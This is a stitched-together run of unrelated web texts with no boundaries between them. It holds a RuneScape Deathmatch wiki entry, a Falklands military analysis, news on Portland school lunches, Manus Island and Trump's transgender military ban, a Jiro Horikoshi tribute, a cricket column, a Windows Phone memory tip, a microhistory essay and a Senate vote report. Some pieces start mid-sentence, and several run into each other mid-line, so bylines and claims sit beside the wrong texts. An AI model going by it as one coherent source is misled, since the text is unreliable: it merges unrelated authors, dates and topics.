Deathmatch is a safe player versus player minigame that replaced the Crucible. In it, players can fight against up to 29 opponents in an arena, aiming to get as many kills as possible in 10 minutes. Regularly spawning power-ups make the battles more interesting. There are no requirements to participate in this minigame.
The minigame's lobby is an instance shard world and located on a platform above the Crucible arena, accessed through a hatch at the eastern border of Edgeville. It houses a bank chest, a prayer altar, a table with supplies, and a sign-up board used to enter games or purchase rewards. Mandrith, found in Edgeville bank, will also open the reward shop. Based on one's level and combat mode (EoC or Legacy), one may enter an ongoing battle in the arena below using the board any time, or join the queue if no battle is going on.
Gameplay
During the Deathmatch, players are teleported to an arena, and after a countdown, may attack other players. When a player dies they respawn in a bank area with a bank, a prayer altar, and supply of bandages, Deathmatch super restore flasks, and Deathmatch supreme overload salves. Players may then re-enter the arena though a crevice, which transports them to a random exit crevice with a short period of immunity. It is also possible to choose which exit the player wishes to use. Crevices may also be used to enter the bank area from which the player may leave the game at any time. No points would be awarded if a player chooses to leave the game early.
The arena contains power ups to help players in combat; these can be activated by running over them. Players can't grab power ups if they still have immunity. All power ups are lost when the player dies. Regular power ups spawn at set times at the same locations, have relatively short re-spawn times, and are active from the start of a game. These include:
Armour - large gold-trimmed power up gives 100 armour and smaller untrimmed power up provides 50 armour. Reduces damage taken from all attack styles: 0-33% damage reduction for the first 100 armour and 33-100% damage reduction for up to a maximum of 200 armour. The power up degrades based on the amount of damage prevented by it.
Healing over time - constant healing effect similar to Enhanced Excalibur's special move. It heals 10% of the player's maximum life points every 3 seconds for 45 seconds.
Super power ups are more powerful but have variable and longer respawn times (between 2.5-3.5 minutes) and are not active from the start of the game. Players are notified when a super power up spawns. Super power ups include:
Overpowered - causes all the player's attacks to have quadruple damage for 45 seconds.
Cabbage time - replaces all food in other players' inventories into cabbage for 20 seconds. Eating cabbage does not use up the player's food and their food is returned to them after 20 seconds is up.
Chicken army - for every successful hit with the power up, a level 198 chicken spawns and attacks the opponent. The chickens ignore the combat immunity period. The chickens continue to be spawned up to a maximum of 10. The power up lasts for 45 seconds.
At the halftime, if there are more than 20 players in the arena, an essence of death will spawn in the area, informing all players. Being close to the essence fills up a bar visible above players' heads. The first player to fill their bar becomes the Supreme Hunter. Killing another player near the essence grants you half of their bar. The Supreme Hunter gains supreme weapons (Annihilation, Decimation, and Obliteration) (food or potions will be banked if the player's inventory is full) with a special attack called Supreme Defenders. This special attack requires 100% adrenaline and summons 10 souls to fight alongside the Supreme Hunter. Additionally, the Supreme Hunter receives 10% damage reduction for each soul that they have active. The souls ignore the combat immunity period.
Equipment
Rewards
At the end of the game players earn reward points depending on how well they fought. For each death the opponent dealing the most damage is awarded a kill, and those dealing damage over a threshold earn an assist. Points can be used to buy mostly untradeable rewards relevant to entry-level player killing.By W. Alejandro Sanchez
Argentina has requested that the United Kingdom engage in diplomatic talks regarding control of the Falkland Islands, or Islas Malvinas, depending on which side you support. As the islands will not change hands anytime soon, with London citing a 2013 referendum as proof of the Falklanders’ desire to remain in the UK, the dispute will continue. Nevertheless, in spite of occasional aggressive statements or alarmist media reports from either London or Buenos Aires, it is important to highlight that neither side has significantly increased their defense spending vis-à-vis the islands.
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The War
In 1982, Argentina launched an invasion of the islands, as the military government in Buenos Aires wanted to distract the Argentine population from the country’s crumbling economy and unite the citizenry behind the junta. The Falklands War has been extensively analyzed (see such essays as “Delayed Reaction: UK Maritime Expeditionary Capabilities and the Lessons of the Falklands Conflict,” and “Facts Influencing the Defeat of the Argentine Air Power in the Falklands War”) but a word must still be said about the conflict. The war is significant because, as Dr. Ian Speller explains, it “was the first time since 1945 that a major western navy had come under sustained air attack at sea [and] it was the first time that a nuclear-powered hunter killer submarine conducted a successful attack on enemy surface units.”
The navies and air forces from both sides were actively engaged in the battle to control the Falklands. As for successful attacks, aircraft from the Argentine Air Force and Navy managed to sink British vessels like the warships HMS Sheffield and HMS Ardent, and the supply ship MV Atlantic Conveyor, among others. Meanwhile, a British nuclear submarine, the HMS Conqueror, sank the Argentine Navy’s flagship, the ARA General Belgrano.
Official Statements
To this day, Argentina continues to claim ownership of the islands. Case in point, now former-President Cristina Fernandez de Kirchner, declared this past April that she foresaw that one day the islands would be under Argentine control. A month earlier, UK Defence Secretary Michael Fallon announced that “we are going to beef up the defence of Falkland Islands,” the obvious assumption being that the islands need protection from a possible Argentine attack. These statements come to no surprise, as over the past years Buenos Aires and London claim that the “other side” is taking aggressive steps regarding the islands.
The islands, particularly after the war, are a key part of Argentine nationalism, hence it should not be surprising that Argentina’s new head of state, President Mauricio Macri, will give the occasional nationalistic statement over the islands or call for negotiations. Nevertheless he also wants U.S. and European investment to jump start the country’s economy, so he may not be overly aggressive (after his electoral victory in November, Macri and Prime Minister David Cameron held a telephone discussion in which they agreed on forging closer commercial ties). I would argue that nationalistic statements or calls for dialogue with London from Buenos Aires are mostly for internal consumption, as a way for President Macri to show his people that he has not forgotten about the islands. After all, it would be political suicide for any Argentine president to not make the occasional patriotic declaration regarding the Falklands.
Defense Realities
Provocative calls for negotiations aside, the Argentine Navy is in no particular shape to engage in a new conflict over the islands. The Navy’s biggest acquisition in recent years was that of four Russian multipurpose ships (Aviso/Neftegaz-class), which will be utilized for search and rescue operations and scientific projects around the Antarctic. The vessels arrived to the South American nation this past December. Theoretically, the Navy could install weapons systems aboard the vessels, but it is unlikely that this will happen due to budgetary
limitations. Regarding submarines the only new development is that in 2014 the ARA San Juan (a diesel TR-1700-class) was finally returned to the Navy after it underwent repairs that had taken several years to complete.
As for the Air Force, which was a critical factor in Argentina’s victories at sea during the Falklands War, just this past November it decommissioned its aging Mirage warplane fleet. The problem is that the Air Force does not have a new warplane to replace the Mirage. Over the past years there were rumors that Buenos Aires would acquire Russian Sukhoi warplanes (hence the need for London to “beef up” the defense of the islands) but this deal never materialized. Similarly, a recent deal for Israeli Kfir warplanes has been put on hold. For the time being, Argentina will have to rely on trainers, such as the Pampa III, and various, also aging, aircraft to protect its airspace.
The Air Force’s situation is so dismal that during the December 2015 inauguration ceremony of President Macri, Argentina requested that Uruguay have three of its own Cessna Dragonfly planes on alert, ready to support Buenos Aires if some crisis occurred. While this request speaks well of Argentina-Uruguay defense relations, it highlights that the Argentine military is hardly in any shape to attempt a renewed operation to take over the Falklands.
As for the UK Navy, the big news is that it is constructing two new carriers, one of which, the HMS Queen Elizabeth, should be operational by 2020. The new vessels are part of a push for greater defense spending by London. Just this past December, Secretary Fallon declared that “we have said we will maintain a minimum fleet of 19 destroyers and frigates, but as the older frigates are retired we also hope to add a lighter frigate between the offshore patrol vessel and Type 26 and to build more of those as well.” Additionally, the Royal Air Force and Royal Navy will benefit from having the new F-35 warplanes in their inventory, as “the Lightning II will be the backbone of Britain’s future carrier operations.” (Of course, how long it will take for the F-35 to be delivered is another question).
Regarding the Falklands themselves, the Royal Navy maintains the HMS Clyde stationed there as part of its South Atlantic Patrol program (in November 2015, the HMS Clyde assisted in rescuing tourists trapped in a sinking cruise ship close to the Falklands). Additionally, the British daily Express reported that this past April British troops carried out exercises in the Falklands which simulated an invasion of the islands. As for new equipment, the only major ongoing acquisition program seems to be additional Giraffe AMB radars, manufactured by Saab.
One could argue that the British military is suffering from exhaustion due to the multiple operations it carries out around the world, from the wars in Iraq and Afghanistan to security operations in the Mediterranean and the Horn of Africa. Just this past December, the destroyer HMS Defender was deployed to the Mediterranean to support the French carrier Charles de Gaulle. Given its multiple ongoing operations, it’s difficult to say how long it would take London to organize a new expeditionary force that would be sent to the Falklands, should another conflict occur. (Daniel Gibran’s The Falklands War, 1998, provides a great summary of the logistical success of deploying over 50 warships, over 50 support vessels, aircraft, troops, ammo and other supplies to the South Atlantic – p. 80-83).
Conspiracy Theories/Exaggerations
Finally, a word must be said about accusations originating in both London and Buenos Aires concerning the other’s intentions regarding the Falklands. As previously mentioned, while there has not been another war over the islands since the early 1980s, just about every year there are accusations that either the Argentine or British government are behaving in an aggressive manner. For example, in 2012 Argentina accused the UK of “militarizing” the South Atlantic. Moreover, the Argentine media widely reproduced the March 2015 comments by Secretary Fallon about “beefing up” of the defenses in the Falklands. In particular the Argentine media quoted and discussed a March 23, 2015, report by the British tabloid The Sun that London feared an imminent attack by Argentina, with Russian support. At the time, the ongoing theory in the British media was that, due to the close relations between Moscow and Buenos Aires (largely due to the friendship between President Vladimir Putin with then-President Kirchner), Russia would somehow support Argentina’s military in the islands.
Final Thoughts
As a reminder, Argentina did not purchase the Russian or Israeli planes while, apart from one military exercise and new radars, the British have yet to significantly beef up their security of the islands. Thus, I would argue that currently the possibility of a renewed war remains extremely low, particularly now that the new Argentine President Macri is actually trying to approach the West (meaning the U.S. and Europe) for investment in order to improve the country’s economy. The British government seems to have a similar assessment of the situation as the Strategic Defense and Security Review 2015 explains that “we judge the risk of a military attack [against the Falklands] to be low, but we will retain a deterrence posture, with sufficient military forces in the region, including Royal Navy warships, Army units and RAF Typhoon aircraft.”
The information presented in this analysis argues that in spite of the occasional alarmist report, neither side has actually carried out major military-related initiatives that could be labeled as aggressive. Argentina has not acquired significant military equipment aside from four Russian research vessels and its repaired old submarine, while the UK, apart from one military exercise, does not seem to have sent additional troops or vessels to the islands. While diplomatic tensions will remain for the immediate future, as Buenos Aires will not give up its claim to the islands and London will not negotiate their fate, hopefully we will not witness another war over the Falklands. Then again, as Gibran states “predicting state behavior is not an exact science, especially in conflict situations. The assumption of a rational behavior on the part of a country, however desirable this idea may appear, is not a given state of affairs” (The Falklands War, p. 89).
As a corollary to this analysis, in early January the oil and gas company Rockhopper announced that it had discovered oil in its Isobel Deep well in the Falklands. The potential of big oil reserves is another reason for Argentina’s claim on the islands, and the recent discovery will give new impetus for calling for negotiations. If nothing else, we can be thankful that both militaries, particularly their navies, are hardly in a position to participate in another war just yet.
W. Alejandro Sanchez is a researcher who focuses on geopolitics, military and cyber security issues in the Western Hemisphere. His research interests include inter-state tensions, narco-insurgent movements and drug cartels, arms sales, the development of Latin American military industries, UN peacekeeping operations, as well as the rising use of drones in Latin America. The views presented in this essay are the sole responsibility of the author and do not necessarily reflect those of any institutions with which the author is associated. Follow him on Twitter @W_Alex_S |
feel, and move, more naturally, he told the New York Times that Magic Leap could help drive augmented reality to outstrip mobile devices in terms of popularity in its possible range of uses.
It would seem that Google is looking more broadly at the potential of the technology as well, rather than button-holing it for any particular use or in combination with any particular product (Glass itself has been somewhat low-key this year, and was all but absent at the corporation’s Google i/o in July). Many commentators believe that Google’s investment, coming as it does from the company, rather than its investment arm, is a strategic move, with Google willing to see how the Magic Leap technology matures. Abovitz has gone a little further on matters, stating that Glass and Magic Leap use different approaches and will not be merged.
Abovitz himself cuts something of an unusual figure – as anyone who witnesses his appearance at the TEDx Sarasota’s inaugural conference is liable to agree. The Magic Leap website is equally somewhat offbeat, indicating that the Magic Leap team comprises (among others) “rocket scientists”, “software ninjas”, “computing hobbits”, and “psychedelic physicists”. however, it might not be wise to underestimate him. Abovitz also founded MAKO Surgical, producing surgical robotic arm assistance platforms, a company he took from start-up in 2004 to being named, in 2011, the fastest growing technology company on Deloitte’s Technology Fast 500.. In 2013, he orchestrated the sale of MAKO to Stryker Medical in a US$1.65 billion deal.
“Magic Leap is going beyond the current perception of mobile computing, augmented reality and virtual reality,” Abovitz said in a company statement following the funding round. “We are transcending all three, and will revolutionize the way people communicate, purchase, learn, share and play.”
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AdvertisementsPortland Public Schools will stop providing free lunches for all students at a dozen schools this fall because those schools no longer qualify for the federal program.
Notices to families at the affected schools — which are mostly located in North Portland and near 82nd Avenue — went out Thursday.
Students whose families can show they are low-income still will be given free meals. But all students at the 12 schools will no longer get free meals automatically, as has been the case for a few years.
The federal "community eligibility" program, which has been in full effect since 2013, gives schools money to provide free meals to all if 40 percent of students are served by income-restricted programs, primarily food stamps.
Madison, Jefferson and Roosevelt high schools are affected, meaning no Portland high schools will offer the schoolwide free lunches as of this school year.
Portland Public Schools Assistant Director of Nutrition Services Whitney Ellersick said the improved economy has likely reduced the share of families qualifying for food stamps.
She said some families have told the district they decided not to apply for government assistance out of fear or because they feel the process is too arduous.
The schools will continue to serve free breakfasts to any students who want it, she said.
Free lunches will be served at the 12 schools through Oct. 11 to give families a grace period to apply for help.
After that, students who don't qualify for free meals will have to pay $2.80 to $3.30, depending on grade level, to eat a school lunch.
The district's notice to families blamed "changes at the federal level." But the federal program is unchanged.
Gitta Grether-Sweeney, director of nutrition services for the district, said when some students shifted to Ockley Green Middle School the federal guidelines were unclear about whether or the district had to reconfigure its count of eligible students in that grouping of schools. It took a long time to get an answer, but ultimately the district was told it had to redo things, she said.
Not wanting to leave affected schools in the lurch, the district decided to bridge the funding for a year, she said. But looking at the budget, it just wasn't feasible to continue to do that, she said.
"We are really saddened that we can't continue this program and optimally we would love to be serving all kids at no charge," Ellersick said. "We don't charge for textbooks why should we charge for meals?"
— Bethany Barnes
Got a tip about Portland Public Schools? Email Bethany: bbarnes@oregonian.com
Schools cutting the program
Faubion K-8
James John Elementary
Jefferson High
Kelly Elementary
Lane Middle School
Lee Elementary
Madison High
Marysville Elementary
Roosevelt High
Vestal Elementary
Whitman Elementary
Woodlawn Elementary
Schools keeping the program
Alliance at Meek
Boise Eliot/Humboldt K-8
Cesar Chavez K-8
George Middle School
Harrison Park K-8
King K-8
Lent K-8
Pioneer at Youngson
Rigler Elementary
Rosa Parks Elementary
Scott K-8
Sitton Elementary
Woodmere ElementaryThe asylum seeker says he can identify several others involved in the death, including Australians employed at the centre, and would testify anywhere but in Papua New Guinea.
Manus Island police regional commissioner Alex N'Drasal confirmed that a number of asylum seekers were reluctant to testify, but said several would give evidence in the trial, set to run over three days before a judge in East Lorengau.
Mr Barati died during a night of violence at the centre on February 17 last year in which 69 people were injured when the centre was invaded after two days of protests, with one losing an eye, one shot in the buttocks and another having his throat slashed.
A review for the Abbott government interviewed one witness who claimed a Salvation Army employee initiated the attack, but was joined by about 10 others, including PNG locals, PNG guards and Australian employees.
Commissioner N'Drasal said police had the first names of two New Zealanders who were allegedly involved in the attack and who were now living in Australia. He said attempts to have them identified and repatriated had been frustrated by their former employer, who no longer is a contractor at the centre.WASHINGTON – President Donald Trump said Wednesday he wants transgender people barred from serving in the U.S. military "in any capacity," citing "tremendous medical costs and disruption."
Trump's announcement on Twitter would reverse the effort under President Barack Obama to open the armed services to transgender people. He did not say what would happen to transgender troops already in the military.
The president tweeted that he was making his announcement after consulting with "generals and military experts," but he did not name any. He said the military "must be focused on decisive and overwhelming victory and cannot be burdened with the tremendous medical costs and disruption that transgender in the military would entail."
The White House did not immediately respond to questions.
At the Pentagon, members of the staff of Defense Secretary Jim Mattis appeared to have been caught unaware by Trump's tweets. A Pentagon spokesman, Navy Capt. Jeff Davis, referred questions to the White House.
In a brief written statement, Davis said the Pentagon is working with the White House to "address" what he called "the new guidance" from the president. He said the Pentagon will provide revised guidance to Defense Department officials "in the near future."
Transgender service members have been able to serve openly in the military since last year, when former Defense Secretary Ash Carter ended the ban. Since last Oct. 1, they have been able to receive medical care and start formally changing their gender identifications in the Pentagon's personnel system.
Carter also gave the services until July 1 to develop policies to allow people already identifying as transgender to newly join the military. Mattis announced earlier this month that he was giving military chiefs another six months to conduct a review to determine if allowing transgender individuals to enlist in the armed services would affect the "readiness or lethality" of the force.
Already, there are as many as 250 service members in the process of transitioning to their preferred genders or who have been approved to formally change gender within the Pentagon's personnel system, according to several defense officials.
The Pentagon has refused to release any data on the number of transgender troops currently serving. A Rand Corp. study last year estimated about 2,450 transgender people in active military, out of about 1.3 million troops.
On cost, the study said only a subset would seek gender transition related treatment, estimating that health care costs would increase by between $2.4 million and $8.4 million annually, or a 0.04 percent to 0.13 percent increase in spending on active military.
The issue of transgender troops was debated recently in the GOP-led House, which narrowly rejected a measure that would have forbidden the Pentagon from paying for gender transition surgeries and hormone therapy. Supporters saw the measure as an opportunity to roll back what they called Obama's social engineering of the armed forces. But Democrats criticized the proposal as bigoted and unconstitutional, and they won enough Republican support to block it.
Trump's decision drew swift outrage from LGBT groups and from lawmakers from both parties.
Sen. Tammy Duckworth of Illinois, a double amputee veteran of the Iraq War, said that when her Black Hawk helicopter was shot down, she didn't care "if the American troops risking their lives to help save me were gay, straight, transgender or anything else. All that mattered was they didn't leave me behind."
Matt Thorn, executive director of OutServe-SLDN, which represents the LGBT population in the military, said thousands have been serving in the U.S. armed forces without causing any issues.
"It's an absolute absurdity and another overstep," Thorn said. He threatened legal action if Wednesday's decision is not reversed.
Sen. John McCain, the Arizona Republican who chairs the Senate Armed Services Committee, said the tweet was "another example of why major policy announcements should not be made via Twitter."
McCain, a former Navy pilot and Vietnam prisoner of war, said "any American who meets current medical and readiness standards should be allowed to continue serving. There is no reason to force service members who are able to fight, train and deploy to leave the military_regardless of their gender identity." He said there should be no policy changes until the current review is completed and assessed by the secretary of defense, military leaders and Congress.
And Sen. Orrin Hatch, a Republican from Utah, said that "transgender people are people and deserve the best we can do for them."
Some conservative organizations and lawmakers hailed the decision.
Family Research Council President Tony Perkins applauded Trump for "keeping his promise to return to military priorities — and not continue the social experimentation of the Obama era that has crippled our nation's military."
Rep. Steve King, R-Iowa, said "we don't need to be experimenting with the military. Plus there's no reason to take on that kind of financial burden."
During his election campaign, Trump occasionally presented himself as a potential ally of gays and lesbians, promising to be a "real friend" of their community.
However, LGBT activists have been angered by many of his administration's actions, including the rollback of federal guidance advising school districts to let transgender students use the bathrooms and locker rooms of their choice. Many top members of the administration are long-time foes of LGBT-rights policy changes, including Vice President Mike Pence, Attorney General Jeff Sessions and Health and Human Services Secretary Tom Price.
___
Associated Press writers Darlene Superville and Vivian Salama contributed to this report.Attention! This news was published on the old version of the website. There may be some problems with news display in specific browser versions.
Birthday of Jiro Horikoshi - The Father of the mighty Zero
Battle between a 'Zero' and a F4F over the Pacific
A6M5 Ko Reisen of the Genzan Air Group skin by Bra zu4e | download here
Dr. Jiro Horikoshi, (22nd June 1903 – 11th January 1982), was a Japanese aeronautical engineer employed in the Mitsubishi Heavy Industries company, during which time he developed the fighter which would become the awe of all Allied pilots.
Horikoshi was born in Fujioka, where he attended high school. He later attended the First Higher School in Tokyo, and in 1927 he would graduate from the Aviation Laboratory of the University of Tokyo with an engineering degree. Almost immediately after, he became employed in Mitsubishi, in the Nagoya Aircraft Manufacturing Plant.
His first real success in aircraft design was the A5M, nicknamed “Claude” by the Allies. It saw heavy use in the Second Sino-Japanese War, where it proved to be dominant in the skies of China. The only plane at the time which proved to be a threat to the A5M was the Soviet Polikarpov I-16. In the last two years of the war, the remaining A5M’s were used as kamikaze aircraft.
It was not until 1940 when Horikoshi had his claim to fame. In 1937, the Japanese Imperial Navy requested a fighter with superior agility, speed, and most importantly, operational range. The first prototype of the Type 0 Carrier Fighter was introduced in 1940, nicknamed Rei-sen by its pilots, which translates roughly to “Zero fighter”, honoring the 2600th anniversary of the ascension of Emperor Jimmu to Japan's throne.
The plane featured a range of 1,180 miles, close to double that of the American P-40, the best comparable United States fighter at the outset of the war. Even the contemporary models of the famous British Spitfire and Hurricane fighters, which had won the Battle of Britain, had major problems with the Zero when they met in 1942. At sea, the situation was not much better, with even the United States Navy’s Grumman F4F Wildcat being outclassed by the Zero in most cases.
However, Japan simply could not compete with the sheer industrial might of the USA, having produced only 11000 Zero planes, while their American counterparts produced nearly a total of 40000 aircraft. Even so, the Zero, in the hands of the Japanese aces such as Saburo Sakai or Kinsuke Muto, was able to win 12-on-1 battles against Corsairs, Hellcats and Wildcats alike, in low to medium altitude combat. However, in high altitude combat, the Zero became outclassed by the new Hellcats and P-38 Lightnings.
Horikoshi was involved in design of many other fighters such as the Mitsubishi J2M “Raiden” (Thunderbolt) and the A7M “Reppu” (Strong Gale). After the war, following Horikoshi’s sudden glorification in the eyes of the world, he stayed at Mitsubishi and designed YS-11 turboprop short-haul passenger aircraft. He left Mitsubishi in 1963 to become a lecturer at the University of Tokyo’s Institute of Space and Aeronautics, and between 1965 and 1969, he was a professor at the National Defense Academy. Between 1972 and 1973, he was a professor of the Faculty of Engineering of Nihon University in Tokyo. Horikoshi was awarded the Order of the Rising Sun, Third Class in 1973. He passed away from pneumonia in Tokyo in 1982.
His legacy, however, still lives on, and the legend of the Zero Fighter will never be forgotten.
The War Thunder TeamAt Trent Bridge on 13th July 2014 at around 5pm, the first test of England’s summer series against India finished as a draw. India were on 385 for 8, having played 120 overs of the third innings in a match where the first two concluded after lunch on day four, having produced a total of 953 runs for 20 wickets from 305.5 overs. Besides Alastair Cook’s two over bowling spell, during which he picked up his only test wicket, this test match is notable for nothing much happening, and was perhaps the dullest five days of English test cricket in living memory.
Fast-forward to this year’s Trent Bridge test and after just one day there have been 334 runs and 14 wickets in fewer than 83 overs in a remarkable day’s play. Records were smashed, with Australia’s 60 all out coming from just 18 overs and three balls — the fewest number of balls faced in a Test innings in history. Stuart Broad, in picking up 8 for 15 from 9.3 overs, became the first player to have picked up more than six wickets in the first session of a test match.
The contrast between the two tests could not be more marked. For a long time, as England under Andrew Strauss and Andy Flower reached the pinnacle of the ICC Test rankings, their success was based on playing a very attritional brand of cricket. More often than not, this was on dry, lifeless pitches in England where Anderson and Broad could get a little assistance with the new ball, and Graeme Swann would hold up an end for the majority of an innings, picking up wickets along the way. Whilst this tactic undoubtedly was a big factor in England’s successes during this period, it led to some of the least interesting Test matches I can remember, and continued into Alastair Cook’s captaincy, particularly against the Australians, presumably in an attempt to blunt their fast bowlers.
During the current Ashes series, there have been three tests on pitches which have been fairly atypical of those in England over the last five or so years, in that they were what you would expect for typical English pitches. It is no coincidence that these pitches were used in the tests won by England; in Anderson and Broad they have two experienced bowlers tailor-made for these English conditions, and a batting line-up who cut their teeth on similar pitches growing up.
What England have done this series is emphasize their home conditions, giving themselves as big a chance of winning as possible. This is increasing in International cricket, and is evident in the fact that teams are finding it more and more difficult to win, and even compete, away from home. There are other elements to this, of course, particularly the shorter nature of tours with few warm-up games being played giving players less chance to get used to the conditions, but the poor performance of visiting sides is a worrying trend in Test match cricket.
While close, competitive matches would be the ideal, the one-sidedness of recent test series cannot be blamed solely on the pitches. Instead the players need to be held responsible for their inability to adapt to foreign conditions. This was evident in the performance of the Australian batsmen during their first innings at Trent Bridge, where all of the top-order fell through going hard at the ball, a method of batting that has brought considerable success in Australian conditions, but is completely inappropriate for a green, seaming wicket in England.
Test cricket is supposed to be just that: a test. A test of the ability, character and courage of those involved, and a big part of that test is in adapting to unfamiliar conditions. For spectators, seeing how players respond when faced with the challenges that difficult pitches and foreign conditions is a key reason behind watching test cricket. English groundsmen producing lively pitches can only contribute to making Test cricket more entertaining, particularly for an English public who have been starved of entertaining cricket at home for some time now.
Long may it continue.Windows Phone is gradually getting matured day by day. Considering the current situation, the Windows Phone environment gives a restrictive environment where app developers are restricted to do certain things if not specified beforehand. The developer cannot use Library, Camera, Sensors or even memory at sometimes if not defined beforehand.
A Windows Phone App is limited to use 150 MB at max. But sometimes it is well a requirement to have more than this limit at least for high spec devices to run. To solve this problem, you can define a capability on your App to ensure you have high availability of application memory.
To increase the size of memory usage we add the following node to the Manifest file of Windows Phone App:
<App> <FunctionalCapabilities> <FunctionalCapability Name="ID_FUNCCAP_EXTEND_MEM"/> </FunctionalCapabilities> </App>
It is worth mentioning, the Manifest editor tool is not yet capable to display this capability and it is hidden from the tool, but you can still use it.
There is another Functional Capability which will ensure the large memory is available before running the application and opt out the Low memory phones from running the app. If this is your requirement you can use :
<App> <Requirements> <Requirements Name="ID_REQ_MEMORY_300"/> </Requirements> </App>
If you use the above capability, the App won’t appear in Windows Phone Store for lower memory phones and it cant be installed in low end devices.
Based on your requirement, you can increase the size boundary from 150 MB to 300 MB or for some devices upto 1GB of application memory usage.
I hope this will help you in real world app development.
Thank you for reading.
Like this: Like Loading...Sigurdur Gylfi Magnusson is chair of the Center for Microhistorical Reasarch at the Reykjavik Academy in Iceland.
One of the most interesting and innovative approach to history, mostly cultural and social history, is microhistory, which just recently has been introduced in a new website called microhistory.org in Iceland.
Microhistory came about, according to the German-US historian Georg G. Iggers in his excellent summary of the development of modern historical practice, Historiography in the Twentieth Century, not because the microhistorians considered that the traditional methodology of the social sciences “is not possible or desirable but that social scientists have made generalizations that do not hold up when tested against the concrete reality of the small-scale life they claim to explain.”1 In the light of this perception, monographs and journals began to appear focusing specifically on microhistorical research, and these became a forum for criticism of the kind of social history produced under the influence of the social sciences. Perhaps foremost of the contributors to the debate was the Italian historian Carlo Ginzburg, who delivered incisive criticisms of the prevailing methods in numerous articles in the Italian journal, Quaderni Storici, the German journal, Historische Anthropologie, in English in Critical Inquiry, and elsewhere.2
Ginzburg and many of his colleagues attacked large-scale quantitative studies on the grounds that they distorted reality on the individual level. The microhistorians placed their emphasis on small units and how people conducted their lives within them. By reducing the scale of observation, microhistorians argued that they are more likely to reveal the complicated function of individual relationships within each and every social setting and they stressed its difference from larger norms. Micohistorians tend to focus on outliers rather than looking for the average individual as found by the application of quantitative research methods. Instead, they scrutinize those individuals who did not follow the paths of their average fellow countryman, thus making them their focal point. In microhistory the term “normal exception” is used to penetrate the importance of this perspective, meaning that each and every one of us do not show our full hand of cards. Seeing what is usually kept hidden from the outside world, we realize that our focus has only been on the “normal exception”; those who in one segment of society are considered obscure, strange, and even dangerous. They might be, in other circles, at the center of attention and fully accepted in their daily affairs.
Nearly all cases which microhistorians deal with have one thing in common; they all caught the attention of the authorities, thus establishing their archival existence. They illustrate the function of the formal institutions in power and how they handle people’s affairs. In other words, each has much wider application, going well beyond the specific case under examination by the microhistorian. The Italian microhistorian Giovanni Levi put it this way in an article on the methods of microhistory: “[M]icrohistorians have concentrated on the contradictions of normative systems and therefore on the fragmentation, contradictions and plurality of viewpoints which make all systems fluid and open.”3 To be able to illustrate this point, microhistorians have turned to the narrative as an analytical tool or a research method where they get the opportunity to present their findings, show the process by which the conclusions are reached, and demonstrate the holes in our understanding and the subjective nature of the discourse.4
I belief that the methods of microhistory are extremely well suited for the study of American history, especially issues related to minorities, ethnicity, race, and gender. The interesting thing is that it has not been applied to American history in a noticeable fashion; microhistory is, indeed, a European phenomena. I do want to encourage American historians to think about the methods of microhistory and contribute to its development as it is introduced on the new webside: www.microhistory.org run by the Center for Microhistoical Research at the Reykjavik Academy in Iceland. Among the features introduced on the webside is a new journal, Journal of Microhistory, an informal online publication which hopefully will work as a forum for ideas and debates about its methods. Also, an extended bibliography on microhistorical research is to be found on the webside which will help future microhistorians, especially those who want to apply it to new fields in American history.
1 Georg G. Iggers, Historiography in the Twentieth Century: from Scientific Objectivity to the Postmodern Challenge (Hanover, NH, 1997), p. 108. See also: Sigurdur Gylfi Magnusson, “The Singularization of History: Social History and Microhistory within the Postmodern State of Knowledge.” Journal of Social History, 36 (Spring 2003), pp. 701-735.
2 Ginzburg’s ideas are put forward in a large number of books and articles, notably “Just One Witness,” Probing the Limits of Representation: Nazism and the “Final Solution” (Cambridge, Mass., 1992); The Cheese and the Worms: the Cosmos of a Sixteenth-Century Miller, trans. John and Anne Tedeschi (Baltimore, 1980); “Proofs and Possibilities: in the Margins of Natalie Zemon Davis’s ‘The Return of Martin Guerre’,” Yearbook of Comparative and General Literature, 37 (1988), pp. 114–127; “Microhistory: Two or Three Things that I Know about it,“ Critical Inquiry, 20 (Autumn 1993), pp. 10–35; “Checking the Evidence: the Judge and the Historian,” Critical Inquiry, 18 (Autumn 1991), pp. 79–92; Carlo Ginzburg and Carlo Poni, “The Name and the Game: Unequal Exchange and the Historical Marketplace,” in Edward Muir and Guido Ruggiero, eds., Microhistory and the Lost People of Europe, trans. Eren Branch (Baltimore, 1991), pp. 1–10; Carlo Ginzburg, “The Philosopher and the Witches: an Experiment in Cultural History,” Acta-Ethnographica-Academiae-Scientarum-Hungaricae, 37 (1991–92), pp. 283–292; Clues, Myths, and the Historical Method, trans. John and Anne C. Tedeschi (Baltimore, 1989). This last contains several important essays, of which perhaps the best known is “Clues: Roots of a Evidential Paradigm,” pp. 96–125.
3 Giovanni Levi, “On Microhistory,” in Peter Burke, ed., New Perspectives on Historical Writing (University Park, Pa.., 1991), p. 107.
4 For good discussions of the importance of storytelling in connection with the methods of microhistory see Guido Ruggiero, Binding Passions: Tales of Magic, Marriage, and Power at the End of the Renaissance (New York, 1993), pp. 18-20.Nintendo of America's Reggie Fils-Aime sees a bright future for Wii U, going so far to "guarantee" that three of its biggest games will go on to be some of the biggest sellers of this entire upcoming generation.
Speaking to Geoff Keighley on the latest episode of GTTV, Fils-Aime said, after rattling off Super Mario 3D World, Mario Kart 8, and Super Smash Bros. Wii U, that he "can guarantee those games in this generation that is about to start, are going to be top ten selling games across the entire generation…. All three…. I'm calling it right now."
That is certainly a bold statement, considering that the final console of this new generation only just launched today, but that's Reggie for you. Do you think his bold claim will prove to be true? After all, Mario certainly does sell. Let us know in the comments below.Five Republicans joined Democrats in a key cloture vote moments ago, allowing debate on a jobs package to move forward. After overcoming this hurdle, debate on the bill can begin.
Sen. Scott Brown (R-MA) broke with his party and voted with the Democrats. So did Sens. Olympia Snowe (R-ME), Susan Collins (R-ME), Kit Bond (R-MO) and George Voinovich (R-OH).
Sen. Ben Nelson (D-NE) was the only Democrat to break with his party.
The final vote tally was 62-30.
It had been uncertain earlier in the day whether any Republicans would help Democrats reach 60 votes and overcome the threat of a GOP filibuster. With Sen. Frank Lautenberg (D-NJ) out of the Senate after being diagnosed with stomach cancer, Democrats needed at least two Republican votes to overcome a GOP filibuster threat.“Work with us on this,” Senate Majority Leader Harry Reid said moments before the vote. “Show us you’re serious about legislating.”
Reid also warned Republicans: Fail to support this bill, and the minority would “confirm their reputation as the ‘Party of No.'”
And after the vote? “I hope this is the beginning of a new day here in the Senate,” Reid said.
